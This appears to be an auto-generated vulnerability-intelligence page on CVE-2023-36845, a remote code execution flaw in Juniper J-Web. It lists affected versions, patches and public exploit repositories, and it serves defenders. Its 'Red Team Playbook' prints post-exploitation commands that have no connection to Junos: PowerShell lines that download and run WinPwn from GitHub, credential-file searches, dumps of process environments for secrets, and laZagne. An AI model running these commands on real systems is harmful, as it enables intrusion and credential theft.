CVE-2023-36845
Overview
This vulnerability is a PHP External Variable Modification flaw affecting the J-Web management interface component of Juniper Networks Junos OS on EX and SRX Series devices. The root cause lies in improper handling of the PHPRC environment variable, which allows an attacker to manipulate the PHP execution environment. This manipulation enables injection of arbitrary PHP code via crafted network requests to the affected web interface.
Vulnerability Description
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; * 22.4 versions prior to 22.4R2-S1, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.
Impact
An unauthenticated attacker can remotely execute arbitrary code on affected Juniper EX and SRX Series devices by exploiting this vulnerability. This enables full control over the device, including the ability to manipulate configurations, intercept or disrupt network traffic, and potentially pivot within the network. No user interaction or credentials are necessary, allowing attackers to compromise critical network infrastructure components, leading to severe operational and security consequences.
Solution
Juniper Networks has released patches addressing this vulnerability in multiple Junos OS versions, including 20.4R3-S9, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S2, 22.3R2-S2, 22.3R3-S1, 22.4R2-S1, 22.4R3, 23.2R1-S1, and 23.2R2. Users should upgrade affected devices to these fixed versions as detailed in Juniper's advisory JSA72300 (https://supportportal.juniper.net/JSA72300). No alternative workarounds are documented; applying the vendor-provided patches is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (93)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Juniper | Junos | All |
cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:-:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s4:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s5:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s6:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s7:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s8:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r2:*:*:*:*:*:*
|
|
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Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r2-s1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Junos OS PHPRC Environment Variable Manipulation RCE
exploits/freebsd/http/junos_phprc_auto_prepend_file
|
Jacob Baines, Ron Bowes, jheysel-r7 +1 | Unknown | - | View |
GitHub PoCs (19)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
vulncheck-oss/cve-2023-36845-scanner
A go-exploit to scan for Juniper firewalls vulnerable to CVE-2023-36845
|
vulncheck-oss | 62 | 6 | 2023-09-16 | View |
|
kljunowsky/CVE-2023-36845
Juniper Firewalls CVE-2023-36845 - RCE
|
kljunowsky | 55 | 12 | 2023-09-26 | View |
|
Asbawy/Automation-for-Juniper-cve-2023-36845
Simple Automation script for juniper cve-2023-36845
|
Asbawy | 19 | 7 | 2024-01-29 | View |
|
zaenhaxor/CVE-2023-36845
CVE-2023-36845 - Juniper Firewall Remote code execution (RCE)
|
zaenhaxor | 4 | 3 | 2023-09-29 | View |
|
ak1t4/CVE-2023-36845
CVES
|
ak1t4 | 5 | 1 | 2024-02-13 | View |
|
cyberh3als/CVE-2023-36845-POC
CVE-2023-36845 PoC script automates the PoC for CVE-2023-36845 targeting Juniper Networks Junos OS's J-Web component on ...
|
cyberh3als | 4 | 0 | 2023-10-02 | View |
|
cyb3rzest/Juniper-Bug-Automation-CVE-2023-36845
|
cyb3rzest | 0 | 2 | 2024-02-01 | View |
|
e11i0t4lders0n/CVE-2023-36845
CVE-2023-36845 – Unauthenticated Juniper Remote Code Execution Vulnerability Scanner
|
e11i0t4lders0n | 1 | 1 | 2024-02-18 | View |
|
0xNehru/CVE-2023-36845-Juniper-Vulnerability
This Python script automates the Proof of Concept (PoC) for CVE-2023-36845, a vulnerability impacting Juniper Networks J...
|
0xNehru | 1 | 0 | 2024-02-14 | View |
|
halencarjunior/CVE-2023-36845
|
halencarjunior | 1 | 0 | 2023-09-27 | View |
|
simrotion13/CVE-2023-36845
|
simrotion13 | 1 | 0 | 2023-10-01 | View |
|
jahithoque/Juniper-CVE-2023-36845-Mass-Hunting
Juniper RCE (Remote Code Execution) CVE-2023-36845 is a vulnerability that has been identified within Juniper's software...
|
jahithoque | 1 | 0 | 2024-01-30 | View |
|
toanln-cov/CVE-2023-36845
PoC CVE-2023-36845 on Juniper Device
|
toanln-cov | 0 | 0 | 2023-09-27 | View |
|
P4x1s/ansible-cve-2023-36845
Ansible Playbook for CVE-2023-36845(Juniper Networks Junos OS 远程代码执行漏洞)
|
P4x1s | 0 | 0 | 2023-11-15 | View |
|
ifconfig-me/CVE-2023-36845
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series all...
|
ifconfig-me | 0 | 0 | 2024-02-17 | View |
|
kopfjager007/CVE-2023-36845
Juniper JunOS J-Web PHP external variable modification (CVE-2023-36845) exploit.
|
kopfjager007 | 0 | 0 | 2025-11-24 | View |
|
Vignesh2712/Automation-for-Juniper-cve-2023-36845
|
Vignesh2712 | 0 | 0 | 2024-05-04 | View |
|
CharonDefalt/Juniper-exploit-CVE-2023-36845
|
CharonDefalt | 0 | 0 | 2024-02-03 | View |
|
iveresk/CVE-2023-36845-6-
CVE-2023-36845 и CVE-2023-36846 Juniper Junos OS J-Web RCE
|
iveresk | 0 | 0 | 2024-02-13 | View |
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-77 | Manipulating User-Controlled Variables |
35%
|
High | Very High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-36845 |
| supportportal.juniper.net |
GitHub CVE
vendor-advisory
mitigation
|
https://supportportal.juniper.net/JSA72300 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176969/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-36845 |